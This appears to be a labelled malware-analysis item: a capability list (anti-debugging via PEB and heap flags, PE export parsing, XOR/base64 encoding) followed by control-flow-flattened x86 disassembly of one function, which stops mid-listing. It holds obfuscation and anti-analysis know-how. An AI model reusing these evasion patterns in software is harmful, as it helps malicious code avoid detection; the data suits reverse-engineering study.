Function at 0x401d90
Capabilities:
Access peb ldr_data
Authenticate hmac
Check for peb ntglobalflag flag
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x218
mov eax, dword [0x502e40]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0x71cd9902
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x1bb72706
and edx, 0xe448d8f9
or eax, edx
mov edx, eax
xor edx, 0x1b812102
xor eax, 0xe448d8f9
mov esi, eax
and esi, 0x8476160d
and edx, 0x7b89e9f2
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7b89e9f2
or eax, esi
and esi, 0x8476160d
or ecx, esi
not eax
mov esi, 0x9535debb
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x63899051
and eax, 0x9c766fae
or eax, edx
xor eax, 0x9c766faf
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x22478512
and ecx, 0xddb87aed
or eax, ecx
mov ecx, eax
xor ecx, 0x22460010
xor eax, 0x11060e0
and ecx, 0xfeee1a1d
and eax, 0x111e5e2
or eax, ecx
mov ecx, eax
xor ecx, 0xb0e61001
xor eax, 0x10085c0
and eax, 0x4f088fdc
and ecx, 0xb0f77023
or ecx, eax
xor ecx, 0xb0f77023
setne ah
sete al
cmp dword [0x504180], 0xa
mov cl, ah
setge ch
setl dl
inc cl
and ah, dl
or dl, cl
and cl, ch
and al, ch
or cl, ah
or al, ah
mov ah, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
mov cl, al
xor dl, 1
xor cl, ah
or ah, al
or dl, ch
xor ah, 1
xor dl, al
or ah, cl
mov ecx, 0x3d7464e6
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x3d7464e6
cmovne eax, ecx
test dl, 1
cmove eax, ecx
nop dword [eax + eax]
cmp eax, 0xf848da77
jle 0x402060
cmp eax, 0x49060299
jg 0x4020e0
cmp eax, 0x20c3cfde
jle 0x4021b2
cmp eax, 0x32271827
jle 0x402466
cmp eax, 0x3b230832
jg 0x40285c
cmp eax, 0x3608d83b
jg 0x4034b0
cmp eax, 0x33467874
jle 0x4046a8
cmp eax, 0x33467875
je 0x406ee2
cmp eax, 0x33fcc35f
je 0x406f04
cmp eax, 0x34ede603
jne 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
or eax, 0xc8d1d698
mov esi, edx
and esi, 0xc8d1d698
mov edi, ecx
and edi, 0x372e2966
and eax, 0xc8d1d699
and ecx, 0x9ab4c904
or edi, esi
xor eax, edi
mov esi, eax
not esi
and eax, 0x77c0dff7
and esi, 0x883f2008
or eax, esi
mov esi, eax
xor esi, 0x1280c904
xor eax, 0x883f2008
mov edi, eax
or eax, edx
and edx, 0x654b36fb
and edi, 0x654b36fb
and esi, 0x9ab4c904
or esi, edi
or ecx, edx
not eax
mov edi, 0x21ac6bb4
xor ecx, esi
mov esi, 0x9b978b45
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc71f8396
and ecx, 0x38e07c69
or eax, ecx
cmp eax, 0xc71f8396
setne ah
cmp dword [0x504180], 0xa
setge cl
setl dl
mov ch, cl
or cl, ah
xor dl, ah
xor ch, ah
mov ah, dl
mov al, ch
and al, cl
xor cl, 1
or cl, ch
mov ch, al
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov cl, al
xor dl, 1
xor cl, 1
or dl, ah
and cl, dl
xor dl, 1
xor ch, dl
and dl, al
and ch, al
or dl, cl
mov al, ch
xor al, dl
test al, 1
cmovne esi, edi
test dl, dl
jmp 0x402c3c
cmp eax, 0xb6c7699b
jle 0x402150
cmp eax, 0xd26be844
jle 0x402347
cmp eax, 0xe1a418f4
jle 0x4024b2
cmp eax, 0xed46da10
jg 0x402a3a
cmp eax, 0xe76f39bd
jg 0x4034f5
cmp eax, 0xe4d7df07
jle 0x404921
cmp eax, 0xe4d7df08
je 0x406ff2
cmp eax, 0xe4ee8b33
je 0x4070f1
cmp eax, 0xe540d3e7
jne 0x401ef0
cmp byte [ebp - 0xcd], 0
mov eax, 0xc5915cbe
mov ecx, 0xf848da78
cmovne eax, ecx
jmp 0x401ef0
cmp eax, 0x69554d2a
jle 0x40239e
cmp eax, 0x727c23b8
jg 0x402508
cmp eax, 0x6ec2fcd7
jg 0x402a8a
cmp eax, 0x6de1701e
jg 0x4037cb
cmp eax, 0x6aab8b08
jle 0x404a05
cmp eax, 0x6aab8b09
je 0x407128
cmp eax, 0x6b3c109b
je 0x407132
cmp eax, 0x6c65ccde
jne 0x401ef0
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0xdc], eax
mov eax, 0x663d6f3f
jmp 0x401ef0
cmp eax, 0x9afbea24
jg 0x40240f
cmp eax, 0x8e4c086b
jg 0x402554
cmp eax, 0x8735c810
jle 0x402ad7
cmp eax, 0x8a02bfd5
jg 0x403801
cmp eax, 0x88098217
jle 0x404a3b
cmp eax, 0x88098218
je 0x407153
cmp eax, 0x893a51d4
je 0x407167
cmp eax, 0x899c2508
jne 0x401ef0
mov eax, 0xcd5d4789
jmp 0x401ef0
cmp eax, 0xcc5c517
jg 0x4025a0
cmp eax, 0xffa99fa8
jle 0x402b2e
cmp eax, 0x916c2a7
jg 0x4039bb
cmp eax, 0x623737e
jle 0x404b8c
cmp eax, 0x623737f
je 0x40717d
cmp eax, 0x7bedac6
je 0x407258
cmp eax, 0x8e53615
jne 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x8cc0040
and ecx, 0xe6235e1f
and eax, 0x1110a1a0
or edx, eax
xor edx, 0x8cc0040
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd46c2e5
and eax, 0xf2b93d1a
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0xe20080ea
xor eax, 0x149a6305
xor edx, 0x149a6304
and edx, eax
and ecx, 0xe69280eb
and eax, 0x196d7f14
or eax, ecx
xor eax, 0x196d7f15
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x659c67c0
and eax, 0x4023f80
mov edx, ecx
and edx, 0x9a63983f
or ecx, 0xb0410059
or esi, edx
and ecx, 0xf1d9407f
mov edx, esi
xor esi, 0x90410019
xor edx, 0x40000
or eax, ecx
or esi, 0x41984026
and edx, 0xa248000
and esi, 0xf1d9407f
or edx, esi
mov esi, 0x17732256
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x21b424bc
and ecx, 0xde4bdb43
or eax, ecx
mov ecx, eax
xor ecx, 0x809080a4
xor eax, 0x642e5b1a
mov edx, eax
and edx, 0x1f417f41
and ecx, 0xe0be80be
or ecx, edx
xor ecx, 0x1f417f41
xor eax, ecx
test eax, ecx
setne dl
sete ah
cmp dword [0x504180], 0xa
setge ch
setl al
mov cl, ch
and al, dl
xor cl, ah
and cl, ah
and ah, ch
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
and cl, ah
or ah, dl
or cl, al
mov dl, ah
xor dl, cl
test ah, ah
mov eax, 0x8beebb04
cmovne eax, esi
test cl, cl
not dl
mov ecx, 0x8beebb04
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x401ef0
cmp eax, 0xc6575c84
jg 0x402695
cmp eax, 0xc1624606
jle 0x402c46
cmp eax, 0xc32e25bc
jg 0x4039f1
cmp eax, 0xc244012e
jle 0x404bbb
cmp eax, 0xc244012f
je 0x407262
cmp eax, 0xc29c8fc5
je 0x40726c
cmp eax, 0xc2c16323
jne 0x401ef0
mov eax, 0x82f1cfd8
jmp 0x401ef0
cmp eax, 0x5857365b
jg 0x4026e1
cmp eax, 0x504362f9
jle 0x402d93
cmp eax, 0x5400e6ed
jg 0x403b24
cmp eax, 0x533300b1
jle 0x404cfd
cmp eax, 0x533300b2
je 0x407276
cmp eax, 0x536623e4
je 0x407280
cmp eax, 0x53dfc688
jne 0x401ef0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x1d4], eax
mov eax, 0xa7867c4
jmp 0x401ef0
cmp eax, 0xaba8c533
jg 0x402810
cmp eax, 0xa1193620
jle 0x402dd4
cmp eax, 0xa58830ca
jg 0x403b5a
cmp eax, 0xa22f9d65
jle 0x404eee
cmp eax, 0xa22f9d66
je 0x407381
cmp eax, 0xa3ab2028
je 0x407524
cmp eax, 0xa3d3855a
jne 0x401ef0
mov eax, 0x5d73710a
jmp 0x401ef0
cmp eax, 0x26e7987a
jle 0x402f5f
cmp eax, 0x2a2b7ca7
jg 0x403baa
cmp eax, 0x27c394c5
jle 0x404f1f
cmp eax, 0x27c394c6
je 0x407a5e
cmp eax, 0x2a12cd51
je 0x407b9e
cmp eax, 0x2a29f8ae
jne 0x401ef0
mov eax, 0x663d6f3f
jmp 0x401ef0
cmp eax, 0xdb6b901c
jle 0x40313b
cmp eax, 0xdef5b83a
jg 0x403be0
cmp eax, 0xdbe8e7eb
jle 0x405030
cmp eax, 0xdbe8e7ec
je 0x407bb2
cmp eax, 0xdc8cc263
je 0x407bc6
cmp eax, 0xdccd068e
jne 0x401ef0
mov dword [ebp - 0xa4], 0xa
mov eax, 0x1083ccb0
jmp 0x401ef0
cmp eax, 0x77ed6dd2
jle 0x40317c
cmp eax, 0x7d46924e
jg 0x403c3d
cmp eax, 0x7bc930bf
jle 0x405067
cmp eax, 0x7bc930c0
je 0x407caf
cmp eax, 0x7cbf63e3
je 0x407d58
cmp eax, 0x7ccfd572
jne 0x401ef0
mov eax, 0x44661c79
jmp 0x401ef0
cmp eax, 0x940f31e4
jle 0x4031c9
cmp eax, 0x997774af
jg 0x403d10
cmp eax, 0x96606a3a
jle 0x405087
cmp eax, 0x96606a3b
je 0x407d6c
cmp eax, 0x96a221dc
je 0x407f25
cmp eax, 0x991fc5fb
jne 0x401ef0
mov eax, 0x1956897e
jmp 0x401ef0
cmp eax, 0x13e72bd4
jle 0x40320a
cmp eax, 0x1a55b2e3
jg 0x403d57
cmp eax, 0x17732255
jle 0x4050ad
cmp eax, 0x17732256
je 0x407ff9
cmp eax, 0x17f61078
je 0x408003
cmp eax, 0x1956897e
jne 0x401ef0
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax]
mov esi, ecx
not esi
mov eax, ecx
and eax, 0xfff
and ecx, 0xf1a2
mov edx, esi
and edx, 0xfffff000
and esi, 0xe5d
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0xffffd43f
and edx, 0x2bc0
or eax, edx
mov edx, eax
xor edx, 0xd435
xor eax, 0x2bc0
mov esi, eax
and esi, 0x2ca
and edx, 0xfffffd35
or edx, esi
mov esi, ecx
xor esi, 0xf120
xor ecx, 0xe5d
or eax, ecx
and ecx, 0x2ca
and esi, 0xfffffd35
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, dword [ebp - 0x1e4]
mov ecx, eax
not ecx
and eax, 0x363e
and ecx, 0xffffc9c1
or eax, ecx
xor eax, 0x363e
movzx eax, ax
mov edx, dword [esi + eax]
add edx, dword [ebp - 0x1e0]
mov dword [esi + eax], edx
mov eax, 0xc750f48d
jmp 0x401ef0
cmp eax, 0xcd5b4b6b
jle 0x4033ed
cmp eax, 0xd13c418b
jg 0x403d97
cmp eax, 0xce373c32
jle 0x4050dc
cmp eax, 0xce373c33
je 0x40800d
cmp eax, 0xce73ce0e
je 0x40817e
cmp eax, 0xcff32547
jne 0x401ef0
mov eax, 0x1d2fe628
jmp 0x401ef0
cmp eax, 0x632950a2
jle 0x40342e
cmp eax, 0x663d6f3e
jg 0x403ddc
cmp eax, 0x639ecd1c
jle 0x405108
cmp eax, 0x639ecd1d
je 0x408251
cmp eax, 0x6441f124
je 0x408894
cmp eax, 0x65a3caca
jne 0x401ef0
mov eax, dword [ebp - 0x188]
add eax, 2
mov dword [ebp - 0x15c], eax
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x122010b2
and eax, 0x8c06a405
mov edx, ecx
and edx, 0x61414100
or esi, edx
mov edx, esi
xor edx, 0x122000b2
xor esi, 0x41980a48
and esi, 0x41981a48
and edx, 0x326141b2
or edx, esi
mov esi, ecx
or esi, 0x41001000
and esi, 0x41981a48
or eax, esi
mov esi, 0x6aab8b09
xor eax, edx
mov edx, eax
not edx
and eax, 0xb01e42a5
and edx, 0x4fe1bd5a
or eax, edx
xor eax, 0x3c80ece9
or eax, ecx
xor eax, 0xffffffff
setne ch
sete ah
cmp dword [0x504180], 0xa
mov cl, ch
setge al
setl dl
and ch, dl
and al, ah
xor cl, dl
or dl, ah
or al, ch
mov ah, dl
xor cl, 1
xor al, 1
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x21651b46
cmovne eax, esi
test dl, 1
mov edx, 0x21651b46
cmove eax, esi
mov esi, dword [ebp - 0x110]
test cl, 1
cmove eax, edx
mov dword [ebp - 0x160], esi
jmp 0x401ef0
cmp eax, 0xb4e90984
jle 0x40346f
cmp eax, 0xb5614fd6
jg 0x403e12
cmp eax, 0xb51b388d
jle 0x405241
cmp eax, 0xb51b388e
je 0x408946
cmp eax, 0xb5576843
je 0x408950
cmp eax, 0xb5596e27
jne 0x401ef0
mov eax, 0x632950a3
jmp 0x401ef0
cmp eax, 0x3f328762
jg 0x403eeb
cmp eax, 0x3c321f21
jle 0x405270
cmp eax, 0x3c321f22
je 0x40895a
cmp eax, 0x3d7464e6
je 0x408c03
cmp eax, 0x3edab2a7
jne 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x4b93ea47
and eax, 0xb46c15b8
or edx, eax
mov esi, edx
mov eax, edx
xor eax, 0x20281538
xor esi, 0x4b93ea47
xor edx, 0xe8249af
and edx, esi
and eax, 0x63ab357e
and esi, 0x9c54ca81
or esi, eax
mov ecx, esi
xor esi, 0x63ab357e
xor ecx, 0x9c54ca81
mov eax, esi
or eax, 0xbaee5c17
mov ebx, ecx
and ebx, 0x5008260
and esi, 0x63cde3f2
mov edi, eax
and edi, 0xc2756d9f
or ebx, edi
mov edi, edx
not edi
and edx, 0x3d8a9260
or eax, edi
and edi, 0xc2756d9f
or edx, edi
not eax
xor edx, ebx
or eax, edx
not edx
and edx, 0xbaee5c16
and eax, 0x4511a3e9
or eax, edx
mov edx, ecx
and edx, 0x9c321c0d
and ecx, 1
or edx, esi
mov esi, edx
xor esi, 0x224543b3
xor edx, 0x88321000
or ecx, esi
and edx, 0xc9bab040
and ecx, 0x36454fbf
or ecx, edx
mov edx, eax
not edx
and eax, 0x5de5e1eb
mov edi, ecx
xor edi, 0x144541ab
xor ecx, 0xc9bab040
mov esi, edx
and esi, 0xa21a1e14
or edx, ecx
and ecx, 0xa21a1e14
and edi, 0x5de5e1eb
or eax, esi
or edi, ecx
not edx
xor edi, eax
or edx, edi
mov eax, edx
not eax
and edx, 0x806102
mov ecx, eax
and ecx, 0x12192f0
and eax, 0xfe5e0c0d
or edx, ecx
xor edx, 0x806102
or eax, edx
setne ah
sete al
cmp dword [0x504180], 0xa
setge dl
setl cl
mov ch, cl
mov dh, dl
xor ch, al
and dh, al
or al, cl
and cl, ah
and al, ch
mov ch, dl
or dl, ah
or cl, dh
xor ch, ah
xor dl, 1
xor cl, 1
or dl, ch
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ch, dl
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, dl
or dl, al
mov ah, ch
xor ch, 1
xor dl, 1
and ch, al
xor al, 1
and ah, al
xor al, cl
or dl, al
or ch, ah
mov eax, 0xbbbb3242
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0xd3197d1c
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0xbbbb3242
cmove eax, edx
jmp 0x401ef0
cmp eax, 0xf3e7a3a9
jg 0x404022
cmp eax, 0xeea39ed2
jle 0x405290
cmp eax, 0xeea39ed3
je 0x408d20
cmp eax, 0xf247ae43
je 0x408e03
cmp eax, 0xf2f953e8
jne 0x401ef0
cmp byte [ebp - 0xc9], 0
mov eax, 0xcb500ea
mov ecx, 0x7cbf63e3
cmovne eax, ecx
jmp 0x401ef0
cmp eax, 0x70bfbc1e
jle 0x404058
cmp eax, 0x71cd9901
jle 0x4052bf
cmp eax, 0x71cd9902
je 0x408f04
cmp eax, 0x71e2dff3
je 0x409a0d
cmp eax, 0x7244bc94
jne 0x401ef0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x1c4], eax
mov eax, 0xf3e7a3aa
jmp 0x401ef0
cmp eax, 0x82f1cfd7
jle 0x404099
cmp eax, 0x835b2f19
jle 0x4052e9
cmp eax, 0x835b2f1a
je 0x409a23
cmp eax, 0x842d5633
je 0x409a3c
cmp eax, 0x84dab0fa
jne 0x401ef0
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0x10c], eax
mov eax, 0xdef5b83b
jmp 0x401ef0
cmp eax, 0xfb5fcf18
jle 0x4040d0
cmp eax, 0xfd4ef3b4
jle 0x405406
cmp eax, 0xfd4ef3b5
je 0x409a46
cmp eax, 0xfd57dd49
je 0x409a50
cmp eax, 0xfd87928b
jne 0x401ef0
mov eax, dword [0x504184]
mov edi, 0x6e9b217b
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x83083ef8
mov ecx, eax
and ecx, 0x7cf7c106
or edx, ecx
mov ecx, eax
or ecx, 0x4132d5a8
mov esi, edx
xor esi, 0x82082a50
xor edx, 0x4032c101
and ecx, 0x4132d5a9
and edx, 0x4132d5a9
and esi, 0xbecd2a56
or esi, edx
xor ecx, esi
mov esi, 0xfd4ef3b5
mov edx, ecx
not edx
and ecx, 0x37646767
and edx, 0xc89b9898
or ecx, edx
xor ecx, 0x37646767
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xe8b94ed1
and eax, 0x1746b12e
or ecx, eax
xor ecx, 0xe8b94ed1
sete dl
setne ah
cmp dword [0x504180], 0xa
setl ch
setge al
mov cl, ch
xor cl, ah
xor cl, 1
or cl, al
xor al, ah
and dl, al
and al, ch
mov ah, dl
xor dl, al
xor al, 1
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
test al, 1
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
jmp 0x408d16
cmp eax, 0xba8fe2f8
jle 0x40426d
cmp eax, 0xbbbb3241
jle 0x405426
cmp eax, 0xbbbb3242
je 0x409a5a
cmp eax, 0xbc4ecf43
je 0x409c23
cmp eax, 0xc139f579
jne 0x401ef0
mov eax, dword [0x504184]
mov edi, 0x8779f303
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x142eaae2
mov eax, edx
and eax, 0x992a8de5
and ecx, edx
not edx
and edx, 0x66d5721a
or eax, edx
mov edx, eax
xor eax, 0x4042202
xor edx, 0x102088c0
or eax, 0xebd1551d
and edx, 0x142088c2
mov esi, eax
and esi, 0xb1e6721
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf4e198de
or eax, esi
and esi, 0xb1e6721
or ecx, esi
not eax
mov esi, 0x5f94d265
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe2a03ca2
and ecx, 0x1d5fc35d
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x1129b6
xor ecx, 0xf68e9640
xor edx, 0xf68e9641
and edx, ecx
and eax, 0xd21939b6
and ecx, 0x2de6c649
or ecx, eax
xor ecx, 0x2de6c648
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xc6047401
and eax, 0x39fb8bfe
or eax, edx
xor eax, 0x39fb8bfe
or eax, ecx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x504180], 0xa
setge cl
setl dl
mov al, cl
or dl, ah
xor al, ch
xor al, 1
or al, cl
or cl, ch
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or cl, ah
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x8779f303
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
test al, al
jmp 0x408df9
cmp eax, 0x4deaa8f3
jle 0x404298
cmp eax, 0x4e5860f9
jle 0x405446
cmp eax, 0x4e5860fa
je 0x409c39
cmp eax, 0x4e5a26be
je 0x409d45
cmp eax, 0x4ead7b37
jne 0x401ef0
mov eax, 0x7d8f1b7c
jmp 0x401ef0
cmp eax, 0x9b978b44
jle 0x404325
cmp eax, 0x9c85809d
jle 0x405472
cmp eax, 0x9c85809e
je 0x409d4f
cmp eax, 0x9cd76c3f
je 0x409d68
cmp eax, 0x9dbba72a
jne 0x401ef0
mov eax, dword [0x504184]
mov edi, 0xa58830cb
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x219ad51a
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0xde652ae5
and eax, 0x219ad51a
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0xd55b21ba
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x2aa4de44
or eax, esi
mov esi, edx
not esi
and edx, 0xd55b21bb
or ecx, esi
and esi, 0x2aa4de44
or edx, esi
not ecx
xor edx, eax
or ecx, edx
mov edx, ecx
xor edx, 0xa8d7ea57
mov eax, ecx
and eax, 0x7c0bbf9
and edx, ecx
not ecx
and ecx, 0xf83f4406
or eax, ecx
mov ecx, eax
xor eax, 0xa8174006
xor ecx, 0x800801
mov esi, eax
or esi, 0x54000188
and ecx, 0xa0854803
and esi, 0x5c52a3dc
or ecx, esi
mov esi, edx
not esi
and edx, 0xa3ad5c23
or eax, esi
and esi, 0x5c52a3dc
or edx, esi
not eax
mov esi, 0xf9d5cc26
xor edx, ecx
or eax, edx
not edx
and edx, 0x572815a8
and eax, 0xa8d7ea57
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe2a9cb0f
mov edx, ecx
and edx, 0x1d5634f0
or eax, edx
xor eax, 0xe2a9cb0f
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x504180], 0xa
setge dl
xor al, dl
and dl, al
mov ecx, eax
mov ah, dl
xor cl, 1
xor ah, 1
xor dl, cl
or ah, al
xor ah, 1
or ah, dl
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor ch, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
xor cl, dl
xor dl, 1
or dl, al
mov ch, cl
mov eax, 0xa58830cb
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
cmovne eax, edi
test ch, 1
cmove eax, esi
jmp 0x401ef0
cmp eax, 0x22144277
jle 0x404449
cmp eax, 0x232b8288
jle 0x4054a1
cmp eax, 0x232b8289
je 0x409e57
cmp eax, 0x260b4762
je 0x409e61
cmp eax, 0x26b93d4e
jne 0x401ef0
mov eax, dword [0x504184]
inc dword [ebp - 0xc0]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xef521c12
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x10ade3ed
and eax, 0xef521c12
or eax, ecx
mov esi, eax
xor esi, 0xe7f6bba7
mov edx, eax
and edx, 0xe4f7030f
and esi, eax
not eax
and eax, 0x1b08fcf0
or edx, eax
mov ecx, edx
xor edx, 0x1b08fcf0
xor ecx, 0xe4f7030f
mov eax, edx
or eax, 0x18094458
mov ebx, ecx
and ebx, 0xc4841321
and edx, 0xe6ca8eda
mov edi, eax
and edi, 0x2b7aacce
or ebx, edi
mov edi, esi
not edi
and esi, 0xd4855331
or eax, edi
and edi, 0x2b7aacce
or esi, edi
not eax
xor esi, ebx
or eax, esi
mov esi, eax
not esi
and eax, 0x22278a99
and esi, 0xddd87566
or eax, esi
mov esi, ecx
and esi, 0x19357125
and ecx, 1
or esi, edx
mov edi, eax
xor edi, 0x81513116
xor eax, 0x3a2ecec0
mov edx, esi
xor edx, 0xe6ca8edb
xor esi, 0x1357104
and edi, 0x8177f996
or ecx, edx
mov edx, eax
and edx, 0x7e880669
and esi, 0x8177f996
or eax, ecx
and ecx, 0x7e880669
or edi, edx
or esi, ecx
not eax
xor esi, edi
or eax, esi
mov esi, 0x6f2b0379
mov ecx, eax
not ecx
and eax, 0x9df8e841
and ecx, 0x620717be
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdd15b37e
and ecx, 0x22ea4c81
or eax, ecx
mov ecx, eax
xor ecx, 0x8d12a480
xor eax, 0x40ed5b3f
mov edx, eax
and edx, 0x7268427e
and ecx, 0x8d97bd81
or ecx, edx
xor ecx, 0x7268427e
xor eax, ecx
test eax, ecx
sete dl
setne ah
cmp dword [0x504180], 0xa
setge al
setl cl
mov ch, al
and cl, dl
inc ch
and ch, ah
and ah, al
or cl, ah
xor cl, 1
or cl, al
and al, dl
mov ah, cl
or al, ch
mov edx, eax
xor ah, 1
or al, ah
xor dl, 1
mov ch, ah
xor ch, dl
xor dl, cl
xor al, 1
or al, dl
mov cl, ch
mov edx, 0x7d46924f
xor cl, al
not cl
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0x7d46924f
cmovne eax, edx
test ch, 1
cmovne eax, edx
jmp 0x401ef0
cmp eax, 0xd44792b4
jle 0x404474
cmp eax, 0xd88be0e6
jle 0x4054d0
cmp eax, 0xd88be0e7
je 0x409e7a
cmp eax, 0xda8c6afb
je 0x409f7b
cmp eax, 0xdb60e6b7
jne 0x401ef0
mov eax, 0x76897097
jmp 0x401ef0
cmp eax, 0x7550a899
jle 0x40449f
cmp eax, 0x76a2edd3
jle 0x4054fa
cmp eax, 0x76a2edd4
je 0x40a0b1
cmp eax, 0x76d3bee9
je 0x40a0da
cmp eax, 0x77d69b7a
jne 0x401ef0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x118], eax
mov eax, 0x9acc284d
jmp 0x401ef0
cmp eax, 0x903000dc
jle 0x4044e1
cmp eax, 0x914a601b
jle 0x405532
cmp eax, 0x914a601c
je 0x40a0e4
cmp eax, 0x92a2e234
je 0x40a0ee
cmp eax, 0x93feb5e0
jne 0x401ef0
mov eax, 0xe0a0a831
jmp 0x401ef0
cmp eax, 0xf24c77a
jle 0x40450c
cmp eax, 0x10d32f58
jle 0x405552
cmp eax, 0x10d32f59
je 0x40a0f8
cmp eax, 0x118bcb67
je 0x40a102
cmp eax, 0x129cc5ae
jne 0x401ef0
mov eax, dword [ebp - 0x16c]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x168]
cmp ecx, eax
mov ecx, dword [0x504184]
setl byte [ebp - 0xd0]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x98c9dc09
and eax, 0x243001e0
mov edx, ecx
or edx, 0x62014
and esi, 0x98cffc1d
and ecx, 0x43000202
and edx, 0x98cffc1d
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xa0d54527
and ecx, 0x5f2abad8
or eax, ecx
mov edx, eax
xor eax, 0x1c2c98ce
xor edx, 0x916131
mov edi, eax
or edi, 0xc7fe54ac
mov esi, eax
and esi, 0xc7fe54ac
and edx, 0x1095e1b7
mov ecx, edi
not ecx
and edi, 0x3801ab52
or ecx, esi
mov esi, eax
and esi, 0xef6a1e48
and eax, 1
or esi, edx
and ecx, 0xc7fe54ad
xor esi, 0x1095e1b6
or ecx, edi
or eax, esi
mov edx, eax
not edx
and eax, 0x35ca243a
and edx, 0xca35dbc5
or eax, edx
mov edx, ecx
not edx
and ecx, 0x64338fc2
mov esi, edx
and esi, 0x9bcc703d
or ecx, esi
mov esi, eax
xor esi, 0x24020402
xor eax, 0xca35dbc5
or edx, eax
and eax, 0x9bcc703d
and esi, 0x64338fc2
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x80f4d0be
mov eax, edx
not eax
and edx, 0x69861a35
and eax, 0x9679e5ca
or edx, eax
mov eax, edx
xor eax, 0x21021221
xor edx, 0x12090480
and edx, 0x5a8d0c94
and eax, 0xa572f36b
or eax, edx
mov ecx, eax
xor ecx, 0x80d0494
xor eax, 0xa572f36b
mov edx, eax
and edx, 0xf7801a63
and ecx, 0x87fe59c
or ecx, edx
xor ecx, 0x87fe59c
or ecx, eax
cmp ecx, 0xffffffff
setne dl
cmp dword [0x504180], 0xa
setl cl
setge al
xor cl, dl
mov ah, al
or al, dl
mov ch, cl
xor ah, dl
mov edx, ecx
xor al, 1
xor ch, 1
or al, ah
and dl, ch
xor al, 1
